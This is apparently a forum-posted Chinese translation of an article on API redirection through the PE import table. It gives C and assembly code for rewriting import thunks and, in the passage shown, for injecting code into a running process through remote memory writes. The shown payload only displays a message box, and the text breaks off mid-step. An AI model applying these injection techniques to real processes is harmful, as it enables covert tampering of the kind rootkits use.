标 题: [翻译]向导入表中注入代码
翻 译: arhat
时 间: 2006-08-06 17:41
链 接: http://bbs.pediy.com/showthread.php?threadid=30166
详细信息:

向导入表中注入代码

 

                

文档编号:

NULL

原作者:

Ashkbiz Danehkar

译者:

Arhat[ptg]

 

审校:

NULL

 

发布时间:

2007-01-07

原文:

http://www.codeproject.com/useritems/inject2it.asp

关键词:

导入表 注入 木马 PE

本文主要介绍向PE文件格式的导入表中注入代码,这种技术也被称为API重定向技术。

 

 

 


 

 

0     深入导入表...................................... 4

1     导入描述符一瞥...................................... 7

2     API重定向技术....................................... 12

2.1      它怎么工作?...................................... 15

2.2      What you call this?............................... 16

3     防止逆向工程......................................... 20

4     Runtime导入表注入.................................... 22

5     特洛伊木马........................................... 29

5.1      How works a Yahoo Messenger hooker?................ 29

6     结论................................................. 31

 


 

Note: This is an unedited contribution. If this article is inappropriate, needs attention or copies someone else's work without reference then please Report this article.

Download the code for this article:

·                      itview.zip (87.1 KB) Import Table viewer

·                      pemaker6.zip (96.6 KB) PE Maker to redirect API by JMP

·                      pemaker7.zip (193 KB) PE Maker to redirect ShellAbout()

·                      zimport.zip (130 KB) Import Table runtime redirector

让我们设想一下,如果可以通过操纵导入表thunk把导入函数的入口重定向到我们指定的特殊例程,那么将有可能通过我们的例程过滤导入的需求。此外,我们也可以通过它安置适当的例程,这一般由专业的PE保护器完成,另外,有些rootkits用这个方法把它的恶意代码嵌入受害程序。

在逆向工程领域,我们把它称做API重定向技术,尽管如此,我不准备用源码的形式补充说明这个领域内的所有观点,这篇文章只准备用一些简单的代码说明这个技术的概貌;我不会发布与商业项目有关或有可能被用作恶意用途的代码,不过,我认为这篇文章可以做为了解此类主题的入门介绍。


 

0    深入导入表

注:这一部分的内容在看雪出版的《软件加密技术内幕》里已有详细说明,这里把它翻译出来主要是为了保持文章的完整性。

PE文件结构包括了MS-DOS头,NT头,区段(section)头和区段映像,大致如Figure 1如示。从DOSWindows时代,MS-DOS头一直存在于所有的Microsoft可执行文件中。NT头的概念是从UNIX系统的ELFExecutable and Linkable Format)中借用的,所以,PE格式实际上是ELF的姊妹。PE格式头部包含了“PE”特征,COFFCommon Object File Format)头部,Portable Executable Optimal头和区段头。

Figure 1 - PE可执行文件格式结构

Visual C++included目录里的<winnt.h>头文件里可以发现NT头的定义。通过使用DbgHelp.dll里的ImageNtHeader()可以轻易找到这个信息。为了找到NT头,你也可以用DOS头,因为DOS头的末尾部分e_lfanew提供了NT头的偏移量。

 

typedef struct _IMAGE_NT_HEADERS { 

    DWORD Signature; 

    IMAGE_FILE_HEADER FileHeader; 

    IMAGE_OPTIONAL_HEADER OptionalHeader;

} IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS;

PE Optional头里有一些数据目录,它们描绘了当前进程的虚拟内存里的主信息表的大小和相对位置。这些表可以保存资源,导入表,输出表,重定位,调试,TLSthread local storage)和COM runtime的信息。想找到没有导入表的PE可执行文件是不可能的;这个表包含DLL名和函数名,当程序想通过它们的虚拟地址请求它们时,这些信息是必需的。控制台可执行文件不包含资源表;不过,资源表却是Windows GUIGraphic User Interface)可执行文件的重要组成部分。当DLL倾向于向外输出它的函数时,以及在OLE Active-X容器中,输出表是必须的。当没有COM+ runtime头部时.NET虚拟机不能被执行。像你看到的那样,在PE格式里每个表都有特殊的用途,见Figure 2

Figure 2 - 数据目录

Data
Directories

0 Export Table

1 Import Table

2 Resource Table

3 Exception Table

4 Certificate File

5 Relocation Table

6 Debug Data

7 Architecture Data

8 Global Ptr

9 Thread Local Storage Table

10 Load Config Table

11 Bound Import Table

12 Import Address Table

13 Delay Import Descriptor

14 COM+ Runtime Header

15 Reserved

 

// <winnt.h>

 

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16

 

// Optional header format.

 

typedef struct _IMAGE_OPTIONAL_HEADER {

 

    ...

   

    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];

} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

 

 

// Directory Entries

#define IMAGE_DIRECTORY_ENTRY_EXPORT     0 // Export Directory

#define IMAGE_DIRECTORY_ENTRY_IMPORT     1 // Import Directory

#define IMAGE_DIRECTORY_ENTRY_RESOURCE   2 // Resource Directory

#define IMAGE_DIRECTORY_ENTRY_BASERELOC  5 // Base Relocation Table

#define IMAGE_DIRECTORY_ENTRY_DEBUG      6 // Debug Directory

#define IMAGE_DIRECTORY_ENTRY_TLS        9 // TLS Directory

仅用两三行代码,我们就可以获得导入表的大小和位置。知道导入表的位置后,我们可以进行下一步――找回DLL名和函数名,我们随后将讨论这个内容。

PIMAGE_NT_HEADERS pimage_nt_headers = ImageNtHeader(pImageBase);

DWORD it_voffset = pimage_nt_headers->OptionalHeader.

    DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

PIMAGE_DOS_HEADER pimage_dos_header = PIMAGE_DOS_HEADER(pImageBase);

PIMAGE_NT_HEADERS pimage_nt_headers = (PIMAGE_NT_HEADERS)

    (pImageBase + pimage_dos_header->e_lfanew);

DWORD it_voffset = pimage_nt_headers->OptionalHeader.

    DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;


1    导入描述符一瞥

导入表的导入目录条目把我们引向文件映像中的导入表的位置。每个导入的DLL都有一个容器――导入描述符,它包含第一个thunk的地址,最初的第一个thunk的地址,指向DLL名的指针。第一个thunk引用第一个thunk的位置,在程序运行期间,WindowsPE loader将把这些thunk初始化,如Figure 5。最初的第一个thunk指向thunk的第一个存放处,那里提供了Hint数据的地址,以及每个函数的函数名,如Figure 4。在这个例子里,第一个最初的thunk不存在;因此,第一个thunk引用了Hint数据和函数名所在的地方,如Figure 3

如下列如示,用IMAGE_IMPORT_DESCRIPTOR结构说明导入描述符:

typedef struct _IMAGE_IMPORT_DESCRIPTOR {

    DWORD   OriginalFirstThunk;

    DWORD   TimeDateStamp;

    DWORD   ForwarderChain;

    DWORD   Name;

    DWORD   FirstThunk;

} IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR;

成员

OriginalFirstThunk
它指向第一个thunk――IMAGE_THUNK_DATA,这个thunk保存着Hint的地址和函数名。

TimeDateStamp
如果存在绑定(binding)它将包含time/data戳。如果它是0,在导入的DLL里没有绑定发生。在近来,把它设为0xFFFFFFFF以描述发生了绑定。

ForwarderChain
在绑定的老版本中,它引用API链的第一个传送器。把它设为0xFFFFFFFF意思是没有传送器。

Name
它显示DLL名的RVArelative virtual address)。

FirstThunk
它包含由IMAGE_THUNK_DATA定义的第一个thunk数组的虚拟地址,loader用函数虚拟地址初始化这个thunk,它指向第一个thunkHintthunk和函数名。

typedef struct _IMAGE_IMPORT_BY_NAME {

    WORD    Hint;

    BYTE    Name[1];

} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

 

typedef struct _IMAGE_THUNK_DATA {

    union {

        PDWORD                 Function;

        PIMAGE_IMPORT_BY_NAME  AddressOfData;

    } u1;

} IMAGE_THUNK_DATA, *PIMAGE_THUNK_DATA;

Figure 3 - Import Table View

Figure 4 - Import Table View with Orignal First Thunk

这两个导入表(figure 3 and figure 4)说明了有/没有最初的第一个thunk的导入表之间的异同。

Figure 5 - Import Table after overwritten by PE loader

我们可以用Dependency WalkerFigure 6查看导入表的全部信息。顺便说一下,我提供了另一个工具――Import Table viewer,如Figure 7所示,它的界面比较简单,操作和Dependency Walker差不多。我相信它的源码将对你更好地理解这类工具所实现的主要功能有所帮助。

Figure 6 - Dependency Walker, Steve P. Miller

在这里,我们看到控制台程序中能显示导入DLL和导入函数的一段简单的源码。不过,我想我的Import Table viewerFigure 7)将因为它的图形化界面,而对我们的主题有更多推动。

PCHAR       pThunk;

PCHAR       pHintName;

DWORD       dwAPIaddress;

PCHAR       pDllName;

PCHAR       pAPIName;

//----------------------------------------

DWORD dwImportDirectory= RVA2Offset(pImageBase, pimage_nt_headers->OptionalHeader.

    DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

//----------------------------------------

PIMAGE_IMPORT_DESCRIPTOR pimage_import_descriptor= (PIMAGE_IMPORT_DESCRIPTOR)

                                                   (pImageBase+dwImportDirectory);

//----------------------------------------

while(pimage_import_descriptor->Name!=0)

{

    pThunk= pImageBase+pimage_import_descriptor->FirstThunk;

    pHintName= pImageBase;

    if(pimage_import_descriptor->OriginalFirstThunk!=0)

    {

        pHintName+= RVA2Offset(pImageBase, pimage_import_descriptor->OriginalFirstThunk);

    }

    else

    {

        pHintName+= RVA2Offset(pImageBase, pimage_import_descriptor->FirstThunk);

    }

    pDllName= pImageBase + RVA2Offset(pImageBase, pimage_import_descriptor->Name);

    printf(" DLL Name: %s First Thunk: 0x%x", pDllName,

           pimage_import_descriptor->FirstThunk);

    PIMAGE_THUNK_DATA pimage_thunk_data= (PIMAGE_THUNK_DATA) pHintName;

    while(pimage_thunk_data->u1.AddressOfData!=0)

    {

        dwAPIaddress= pimage_thunk_data->u1.AddressOfData;

        if((dwAPIaddress&0x80000000)==0x80000000)

        {

            dwAPIaddress&= 0x7FFFFFFF;

            printf("Proccess: 0x%x", dwAPIaddress);

        }

        else

        {

            pAPIName= pImageBase+RVA2Offset(pImageBase, dwAPIaddress)+2;

            printf("Proccess: %s", pAPIName);

        }

        pThunk+= 4;

        pHintName+= 4;

        pimage_thunk_data++;

    }

    pimage_import_descriptor++;

}

Figure 7 - Import Table viewer


 

2    API重定向技术

我们已经学习了与导入表有关的基础知识,是介绍重定向方法的时候了。重定向算法非常简单,在当前进程的虚拟内存里生成一个额外的虚拟空间,生成用JMP重定向到最初函数位置的指令。我们可以用绝对jump或相对jump实现它。在绝对jump的例子里,你要倍加小心,你不能像Figure 8那样简单的实现,你首先应当把虚拟地址移到EAX,然后用JMP EAX转移。在pemaker6.zip里,我用相对jump完成重定向。

Figure 8 - Overview of a simple API redirection by the absolute jump instruction

我在以前的文章[1]中介绍了怎样生成PE maker,如果你想知道它怎么工作,我建议你读一下那篇文章。在这个版本里,我修改了导入表修复例程,像你在下面的代码里见到的,我写了一些行来生成指向函数真正位置的相对JMP指令。了解这些很重要,你不能为所有的DLL模块完成API重定向。例如,在CALC.EXE里,在runtime初始化过程中,MSVCRT.DLL的一些thunk将会被来自CALC.EXE里的代码区段所访问,因此,在这种情况重定向将不工作。

_it_fixup_1:

    push ebp

    mov ebp,esp

    add esp,-14h

    push PAGE_READWRITE

    push MEM_COMMIT

    push 01D000h

    push 0

    call _jmp_VirtualAlloc

    //NewITaddress=VirtualAlloc(NULL, 0x01D000, MEM_COMMIT, PAGE_READWRITE);

    mov [ebp-04h],eax

    mov ebx,[ebp+0ch]

    test ebx,ebx

    jz _it_fixup_1_end

    mov esi,[ebp+08h]

    add ebx,esi                         // dwImageBase + dwImportVirtualAddress

_it_fixup_1_get_lib_address_loop:

        mov eax,[ebx+0ch]               // image_import_descriptor.Name

        test eax,eax

        jz _it_fixup_1_end

       

        mov ecx,[ebx+10h]               // image_import_descriptor.FirstThunk

        add ecx,esi

        mov [ebp-08h],ecx               // dwThunk

        mov ecx,[ebx]                   // image_import_descriptor.Characteristics

        test ecx,ecx

        jnz _it_fixup_1_table

            mov ecx,[ebx+10h]

_it_fixup_1_table:

        add ecx,esi

        mov [ebp-0ch],ecx               // dwHintName

        add eax,esi                     // image_import_descriptor.Name + dwImageBase = ModuleName

        push eax                        // lpLibFileName

        mov [ebp-10h],eax

        call _jmp_LoadLibrary           // LoadLibrary(lpLibFileName);

 

        test eax,eax

        jz _it_fixup_1_end

        mov edi,eax

_it_fixup_1_get_proc_address_loop:

            mov ecx,[ebp-0ch]            // dwHintName

            mov edx,[ecx]                // image_thunk_data.Ordinal

            test edx,edx

            jz _it_fixup_1_next_module

            test edx,080000000h          // .IF( import by ordinal )

            jz _it_fixup_1_by_name

                and edx,07FFFFFFFh       // get ordinal

                jmp _it_fixup_1_get_addr

_it_fixup_1_by_name:

            add edx,esi                  // image_thunk_data.Ordinal + dwImageBase = OrdinalName

            inc edx

            inc edx                      // OrdinalName.Name

_it_fixup_1_get_addr:

            push edx                     // lpProcName

            push edi                     // hModule                       

            call _jmp_GetProcAddress     // GetProcAddress(hModule, lpProcName);

            mov [ebp-14h],eax            //_p_dwAPIaddress

            //================================================================

            //            Redirection  Engine

            push edi

            push esi

            push ebx

 

            mov ebx,[ebp-10h]

            push ebx

            push ebx

            call _char_upper

           

            mov esi,[ebp-10h]

            mov edi,[ebp+010h]

_it_fixup_1_check_dll_redirected:

                push edi

                call __strlen

                add  esp, 4

               

                mov ebx,eax

                mov ecx,eax

                push edi

                push esi

                repe cmps

                jz  _it_fixup_1_do_normal_it_0

                pop esi

                pop edi

                add edi,ebx

            cmp byte ptr [edi],0

            jnz _it_fixup_1_check_dll_redirected

                mov ecx,[ebp-08h]

                mov eax,[ebp-014h]

                mov [ecx],eax

                jmp _it_fixup_1_do_normal_it_1

_it_fixup_1_do_normal_it_0:

                pop esi

                pop edi

                mov edi,[ebp-04h]

                mov byte ptr [edi], 0e9h   // JMP Instruction

                mov eax,[ebp-14h]

                sub eax, edi

                sub eax, 05h

                mov [edi+1],eax            // Relative JMP value

                mov word ptr [edi+05], 0c08bh

                mov ecx,[ebp-08h]

                mov [ecx],edi              // -> Thunk

                add dword ptr [ebp-04h],07h

_it_fixup_1_do_normal_it_1:

            pop ebx

            pop esi

            pop edi

            //================================================================

            add dword ptr [ebp-08h],004h    // dwThunk => next dwThunk

            add dword  ptr [ebp-0ch],004h   // dwHintName => next dwHintName

        jmp _it_fixup_1_get_proc_address_loop

_it_fixup_1_next_module:

        add ebx,014h                        // sizeof(IMAGE_IMPORT_DESCRIPTOR)

    jmp _it_fixup_1_get_lib_address_loop

_it_fixup_1_end:

    mov esp,ebp

    pop ebp

    ret 0ch

不要以为专业的EXE保护器抛弃(discharge)了这种简单的API重定向方法;它们有x86指令生成器引擎,可以为重定向生成代码。有时候,这个引擎还和变形引擎一起出现,这将使它们非常复杂而难以分析。

2.1  它怎么工作?

前面所述的代码将依照如下的算法工作:

1.      建立分开的空间来保存VirtualAlloc()生成的指令。

2.      通过LoadLibrary()GerProcAddress()寻找函数虚拟地址。

3.      核对DLL名是否与有效的DLL列表匹配。在这个例子里,我们认出KERNEL32.DLL USER32.DLLGDI32.DLLADVAPI32.DLL SHELL32.DLL是有效的DLL名,可以重定向。

4.      如果DLL名是有效的,转向重定向例程,否则,用最初的函数的虚拟地址初始化这个thunk

5.      为了重定向API,生成JMP (0xE9)指令,为了建立相对jump,计算函数位置的相对位置。

6.      把生成的指令保存在分开的空间里,使thunk引用这些指令的第一个位置。

7.      继续对其它的函数和DLL用这个例程。

如果你用CALC.EXE做实验,并用OllyDbg或类似的用户模式调试器跟踪分析的话,你将会看到生成的代码和下面这些类似:

 

008E0000  - E9 E6F8177C    JMP SHELL32.ShellAboutW

008E0005    8BC0           MOV EAX,EAX

008E0007  - E9 0F764F77    JMP ADVAPI32.RegOpenKeyExA

008E000C    8BC0           MOV EAX,EAX

008E000E  - E9 70784F77    JMP ADVAPI32.RegQueryValueExA

008E0013    8BC0           MOV EAX,EAX

008E0015  - E9 D66B4F77    JMP ADVAPI32.RegCloseKey

008E001A    8BC0           MOV EAX,EAX

008E001C  - E9 08B5F27B    JMP kernel32.GetModuleHandleA

008E0021    8BC0           MOV EAX,EAX

008E0023  - E9 4F1DF27B    JMP kernel32.LoadLibraryA

008E0028    8BC0           MOV EAX,EAX

008E002A  - E9 F9ABF27B    JMP kernel32.GetProcAddress

008E002F    8BC0           MOV EAX,EAX

008E0031  - E9 1AE4F77B    JMP kernel32.LocalCompact

008E0036    8BC0           MOV EAX,EAX

008E0038  - E9 F0FEF27B    JMP kernel32.GlobalAlloc

008E003D    8BC0           MOV EAX,EAX

008E003F  - E9 EBFDF27B    JMP kernel32.GlobalFree

008E0044    8BC0           MOV EAX,EAX

008E0046  - E9 7E25F37B    JMP kernel32.GlobalReAlloc

008E004B    8BC0           MOV EAX,EAX

008E004D  - E9 07A8F27B    JMP kernel32.lstrcmpW

008E0052    8BC0           MOV EAX,EAX

做为额外的练习,你可以用如下的代码改变带有绝对jump指令的PE Maker源代码:

 

008E0000  - B8 EBF8A57C    MOV EAX,7CA5F8EBh // address of SHELL32.ShellAboutW

008E0005    FFE0           JMP EAX

 

2.2  What you call this?

这次,我想用这个技术改变API的函数。我不敢肯定我们是否可以再次调用API redirection。在这个例子里,我在pemaker7.zip里把CALC.EXEShellAbout()对话框重定向到我的"Hello World!"消息框。你将看到实现起来非常容易,我只需在上述的代码里稍做改变即可:

            ...   

            //================================================================

            push edi

            push esi

            push ebx

 

            mov ebx,[ebp-10h]

            push ebx

            push ebx

            call _char_upper

           

            mov esi,[ebp-10h]

            mov edi,[ebp+010h]        // [ebp+_p_szShell32]

_it_fixup_1_check_dll_redirected:

                push edi

                call __strlen

                add esp, 4

 

                mov ebx,eax

                mov ecx,eax

                push edi

                push esi

                repe cmps             //byte ptr [edi], byte ptr [esi]

                jz _it_fixup_1_check_func_name

                jmp _it_fixup_1_no_check_func_name

_it_fixup_1_check_func_name:

                mov edi,[ebp+014h]    // [ebp+_p_szShellAbout]

                push edi

                call __strlen

                add esp, 4

                mov ecx,eax

                mov esi,[ebp-18h]

                mov edi,[ebp+014h]    // [ebp+_p_szShellAbout]

                repe cmps //byte ptr [edi], byte ptr [esi]

                jz _it_fixup_1_do_normal_it_0

_it_fixup_1_no_check_func_name:

                pop esi

                pop edi

                add edi,ebx

            cmp byte ptr [edi],0

            jnz _it_fixup_1_check_dll_redirected

            mov ecx,[ebp-08h]

            mov eax,[ebp-014h]

            mov [ecx],eax

            jmp _it_fixup_1_do_normal_it_1

_it_fixup_1_do_normal_it_0:

                pop esi

                pop edi

                mov ecx,[ebp-08h]

                mov edi,[ebp+18h]

                mov [ecx],edi  // move address of new function to the thunk

_it_fixup_1_do_normal_it_1:

            pop ebx

            pop esi

            pop edi

            //================================================================

            ...

我把这个例程总结一下:

1.      检查DLL名是否为"Shell32.DLL"

2.      检查函数名是否为"ShellAboutW"

3.      如果条件12为真,把ShellAbout()thunk重定向到新的函数。

这个新函数是一个简单的消息框:

_ShellAbout_NewCode:

_local_0:

    pushad    // save the registers context in stack

    call _local_1

_local_1:   

    pop ebp

    sub ebp,offset _local_1 // get base ebp

    push MB_OK | MB_ICONINFORMATION

    lea eax,[ebp+_p_szCaption]

    push eax

    lea eax,[ebp+_p_szText]

    push eax

    push NULL

    call _jmp_MessageBox

    // MessageBox(NULL, szText, szCaption, MB_OK | MB_ICONINFORMATION) ;

    popad   // restore the first registers context from stack

    ret 10h

当你计划用新函数替换API时,有些问题你必须要考虑:

·         不要因为指错栈的位置而破坏栈内存。因此,最后有必要通过ADD ESP,xxx RET xxx恢复原来的栈位置。

·         除了EAX 外,应该尽量通过PUSHAD POPAD来捕获并恢复大多数的线程寄存器,以保证它们的安全。

像你看到的,我用PUSHAD POPAD 恢复了线程寄存器。对于这个例子,ShellAbout()4DWORD 成员,因此,在返回时,我把栈的位置增加了0x10

在重定向ShellAbout()之后,你可以试着点击Help菜单条里的About Calculator。将会看到我们对CALC.EXE所做的改变。

Figure 9 - The redirection of About Calculator to a dialog message box

EXE保护器也用这种方法操纵目标;他们确定重定向到他们额外的内存空间,下一节将会讨论这个内容。


 

3    防止逆向工程

重建使用了复杂的API重定向技术的导入表是非常困难的。有时候,即使Import REConstructorFigure 10之类的工具在重建导入表时,也会无计无施,特别是碰到用多态变形代码映像完成的重定向。在逆向工程领域,Import REConstructor是非常著名的工具;它为了捕获导入信息将挂起目标进程。如果你生成的重定向像JMP之类的,这个工具肯定可以重建它,然而,如果我们把函数名加密,并在内存里把它和多态变形代码捆绑在一起,它将会很困惑而不能找回正确的导入表。我们就是按这个思路设计EXE保护器的,Native Security Engine [6]就是遵循这个方法的打包器。它有一个x86代码生成器和一个变形引擎,它们两个帮助我们建立复杂的重定向结构。

Figure 10 - Import REConstructor, MackT/uCF2000

Figure 11说明了EXE保护器使用的主要的导入保护策略。它们中的一些使用了指向虚拟Win32函数库的重定向。例如,它们有针对Kernel32User32 AdvApi32的虚拟函数库。它们用它们自己的函数库来防止被破解,或安装它们的虚拟机。

Figure 11 - Import Table Protection

通过这个技术,可以截断对外部的访问。像你看到的,MoleBox就是这样工作的,它为了在打包的文件里合并TEXT文件和JPEG文件,过滤了FindFirstFile() FindNextFile()。当程序试图从硬盘寻找文件时,它将被重定向到内存。


 

4    Runtime导入表注入

现在,我想多谈一点。这个主题对那些关注Windows系统上用户级(ring-3) rootkits  [7]策略的人来说肯定有一定的吸引力。最关键的问题是,它怎么注入runtime进程的导入表中,这一节就来回答这个问题。我们想注入runtime进程并修改它。你是否记得我在以前的文章[2]中,建立了一个Windows Spy来捕获Windows类属性,并在runtime修改它们。这次,我将移到重写内存附近,并从外部重定向导入表。

  1. 通过使用WindowFromPoint() 我们可以获得特殊点的windows句柄,GetWindowThreadProcessId() 帮助我们认出这个windows句柄的进程ID和线程ID

2.            POINT point;

3.            HWND hWindowUnderTheMouse = WindowFromPoint(point);

4.             

5.            DWORD    dwProcessId;

6.            DWORD    dwThreadId;

7.            dwThreadId=GetWindowThreadProcessId(hSeekedWindow, &dwProcessId);

  1. 通过OpenProcess() OpenThread()得到进程句柄和线程。但是在Windows 98里没有OpenThread() !不用担心,试着用EliCZ’寻找RT函数库,它是一个在Windows 98里模拟OpenThread() CreateRemoteThread()VirtualAllocEX() VirtualFreeEx()的函数库。

9.            HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwProcessId );

10.        HANDLE hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, dwThreadId);

  1. 为了操作进程的内存,我们首先应该通过挂起主线程来冻结进程。

12.        SuspendThread(hThread);

  1. FS:[18]可以得到线程环境块(TEB)的位置,但我们现在不能访问它!所以,GetThreadContext() GetThreadSelectorEntry() 帮助我们得到FS段的基址。

14.        CONTEXT        Context;

15.        LDT_ENTRY    SelEntry;

16.         

17.        Context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;

18.        GetThreadContext(hThread,&Context);

19.            

20.        // Calculate the base address of FS

21.        GetThreadSelectorEntry(hThread, Context.SegFs, &SelEntry);

22.        DWORD dwFSBase = ( SelEntry.HighWord.Bits.BaseHi << 24) |

23.                         (SelEntry.HighWord.Bits.BaseMid << 16) |

24.                          SelEntry.BaseLow;

  1. 从目标进程的虚拟内存里得到线程环境块(TEB)。"Undocumented Windows 2000 secrets" [4]里对线程和进程环境块(Figure 12)做了详细的解释,此外,NTInternals团队也提供了TEBPEB的完整的定义。据我猜测,Microsoft团队是忘了提供它们的信息,或者是不想使它们公开!这也是我为什么喜欢Linux团队的理由:)

26.        PTEB pteb = new TEB;

27.        PPEB ppeb = new PEB;

28.        DWORD       dwBytes;

29.            

30.        ReadProcessMemory( hProcess, (LPCVOID)dwFSBase, pteb, sizeof(TEB), &dwBytes);

31.        ReadProcessMemory( hProcess, (LPCVOID)pteb->Peb, ppeb, sizeof(PEB), &dwBytes);

Figure 12 - The Thread Environment Blocks and the Process Environment Block

  1. PEBprocess environment block)信息里,我们可以在当前进程内存里发现PE映像的映像基址。

33.        DWORD dwImageBase = (DWORD)ppeb->ImageBaseAddress;

  1. ReadProcessMemory() 帮助我们读取PE文件的整个映像。

35.        PIMAGE_DOS_HEADER pimage_dos_header = new IMAGE_DOS_HEADER;

36.        PIMAGE_NT_HEADERS pimage_nt_headers = new IMAGE_NT_HEADERS;

37.            

38.        ReadProcessMemory( hProcess,

39.                          (LPCVOID)dwImageBase,

40.                           pimage_dos_header,

41.                           sizeof(IMAGE_DOS_HEADER),

42.                          &dwBytes);

43.        ReadProcessMemory( hProcess,

44.                          (LPCVOID)(dwImageBase+pimage_dos_header->e_lfanew),

45.                           pimage_nt_headers, sizeof(IMAGE_NT_HEADERS),

46.                          &dwBytes);

47.         

48.        PCHAR pMem = (PCHAR)GlobalAlloc(

49.                           GMEM_FIXED | GMEM_ZEROINIT,

50.                           pimage_nt_headers->OptionalHeader.SizeOfImage);

51.         

52.        ReadProcessMemory( hProcess,

53.                          (LPCVOID)(dwImageBase),

54.                           pMem,

55.                           pimage_nt_headers->OptionalHeader.SizeOfImage,

56.                          &dwBytes);

  1. 我们为了找到目标并重定向它,监视DLL名和thunk值。在这个例子里,DLL名是Shell32.dllthunkShellAbout()的虚拟地址。

58.        HMODULE hModule = LoadLibrary("Shell32.dll");

59.        DWORD dwShellAbout= (DWORD)GetProcAddress(hModule, "ShellAboutW");

60.         

61.        DWORD dwRedirectMem = (DWORD)VirtualAllocEx(

62.                           hProcess,

63.                           NULL,

64.                           0x01D000,

65.                           MEM_COMMIT,

66.                           PAGE_EXECUTE_READWRITE);

67.                           

68.        RedirectAPI(pMem, dwShellAbout, dwRedirectMem);

69.         

70.        ...

71.         

72.        int RedirectAPI(PCHAR pMem, DWORD API_voffset, DWORD NEW_voffset)

73.        {

74.            PCHAR     pThunk;

75.            PCHAR     pHintName;

76.            DWORD     dwAPIaddress;

77.            PCHAR     pDllName;

78.            DWORD     dwImportDirectory;

79.         

80.            DWORD     dwAPI;

81.         

82.            PCHAR pImageBase = pMem;

83.            //----------------------------------------

84.            PIMAGE_IMPORT_DESCRIPTOR    pimage_import_descriptor;

85.            PIMAGE_THUNK_DATA           pimage_thunk_data;

86.            //----------------------------------------

87.            PIMAGE_DOS_HEADER pimage_dos_header;

88.            PIMAGE_NT_HEADERS pimage_nt_headers;

89.            pimage_dos_header = PIMAGE_DOS_HEADER(pImageBase);

90.            pimage_nt_headers = (PIMAGE_NT_HEADERS)(pImageBase+pimage_dos_header->e_lfanew);

91.            //----------------------------------------

92.            dwImportDirectory=pimage_nt_headers->OptionalHeader

93.                       .DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

94.            if(dwImportDirectory==0)

95.            {

96.                return -1;

97.            }

98.            //----------------------------------------

99.            pimage_import_descriptor=(PIMAGE_IMPORT_DESCRIPTOR)(pImageBase+dwImportDirectory);

100.         //----------------------------------------

101.         while(pimage_import_descriptor->Name!=0)

102.         {

103.             pThunk=pImageBase+pimage_import_descriptor->FirstThunk;

104.             pHintName=pImageBase;

105.             if(pimage_import_descriptor->OriginalFirstThunk!=0)

106.             {

107.                 pHintName+=pimage_import_descriptor->OriginalFirstThunk;

108.             }

109.             else

110.             {

111.                 pHintName+=pimage_import_descriptor->FirstThunk;

112.             }

113.             pDllName=pImageBase+pimage_import_descriptor->Name;

114.      

115.             StrUpper(pDllName);

116.             if(strcmp(pDllName,"SHELL32.DLL")==0)

117.             {

118.                 pimage_thunk_data=PIMAGE_THUNK_DATA(pHintName);

119.                 while(pimage_thunk_data->u1.AddressOfData!=0)

120.                 {

121.                     //----------------------------------------

122.                     memcpy(&dwAPI, pThunk, 4);

123.                     if(dwAPI==API_voffset)

124.                     {

125.                         memcpy(pThunk, &NEW_voffset, 4);

126.                         return 0;

127.                     }

128.                     //----------------------------------------

129.                     pThunk+=4;

130.                     pHintName+=4;

131.                     pimage_thunk_data++;

132.                 }

133.             }

134.             pimage_import_descriptor++;

135.         }

136.         //----------------------------------------

137.         return -1;

138.     }

139.      

  1. 为了重定向,用VirtualProtectEx()创建一个额外的内存空间。我们将生成代码,并把它们写到这块新的空间里。

141.     DWORD dwRedirectMem = (DWORD)VirtualAllocEx(

142.                        hProcess,

143.                        NULL,

144.                        0x01D000,

145.                        MEM_COMMIT,

146.                        PAGE_EXECUTE_READWRITE);

147.      

148.     ...

149.                        

150.     PCHAR pLdr;                  

151.     DWORD Ldr_rsize;

152.     GetLdrCode(pLdr, Ldr_rsize);

153.      

154.     WriteProcessMemory( hProcess,

155.                        (LPVOID)(dwRedirectMem),

156.                        pLdr,

157.                        Ldr_rsize,

158.                        &dwBytes);

  1. loader也在额外的内存里。它保存了显示一个简单消息框的代码。

160.     void GetLdrCode(PCHAR &pLdr, DWORD &rsize)

161.     {

162.         HMODULE     hModule;

163.         DWORD       dwMessageBox;

164.      

165.         PCHAR       ch_temp;

166.         DWORD       dwCodeSize;

167.         ch_temp=(PCHAR)DWORD(ReturnToBytePtr(DynLoader, DYN_LOADER_START_MAGIC))+4;

168.         dwCodeSize=DWORD(ReturnToBytePtr(DynLoader, DYN_LOADER_END_MAGIC))-DWORD(ch_temp);

169.         rsize= dwCodeSize;

170.         pLdr =  (PCHAR)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, dwCodeSize);

171.         memcpy(pLdr, ch_temp, dwCodeSize);

172.      

173.         ch_temp=(PCHAR)ReturnToBytePtr(pLdr, DYN_LOADER_START_DATA1);

174.      

175.         hModule = LoadLibrary("User32.dll");

176.         dwMessageBox= (DWORD)GetProcAddress(hModule, "MessageBoxA");

177.         memcpy(ch_temp+4, &dwMessageBox, 4);

178.     }

179.         ...

180.     _ShellAbout_NewCode:

181.     _local_0:

182.         pushad    // save the registers context in stack

183.         call _local_1

184.     _local_1:   

185.         pop ebp

186.         sub ebp,offset _local_1// get base ebp

187.         push MB_OK | MB_ICONINFORMATION

188.         lea eax,[ebp+_p_szCaption]

189.         push eax

190.         lea eax,[ebp+_p_szText]

191.         push eax

192.         push NULL

193.         mov eax, [ebp+_p_MessageBox]

194.         call eax

195.         // MessageBox(NULL, szText, szCaption, MB_OK | MB_ICONINFORMATION) ;

196.         popad    // restore the first registers context from stack

197.         ret 10h

198.         ...

  1. 可执行映像写入在修改之后的内存。不要忘了在写之前设置对内存的全部访问权限。

200.     VirtualProtectEx( hProcess,

201.                      (LPVOID)(dwImageBase),

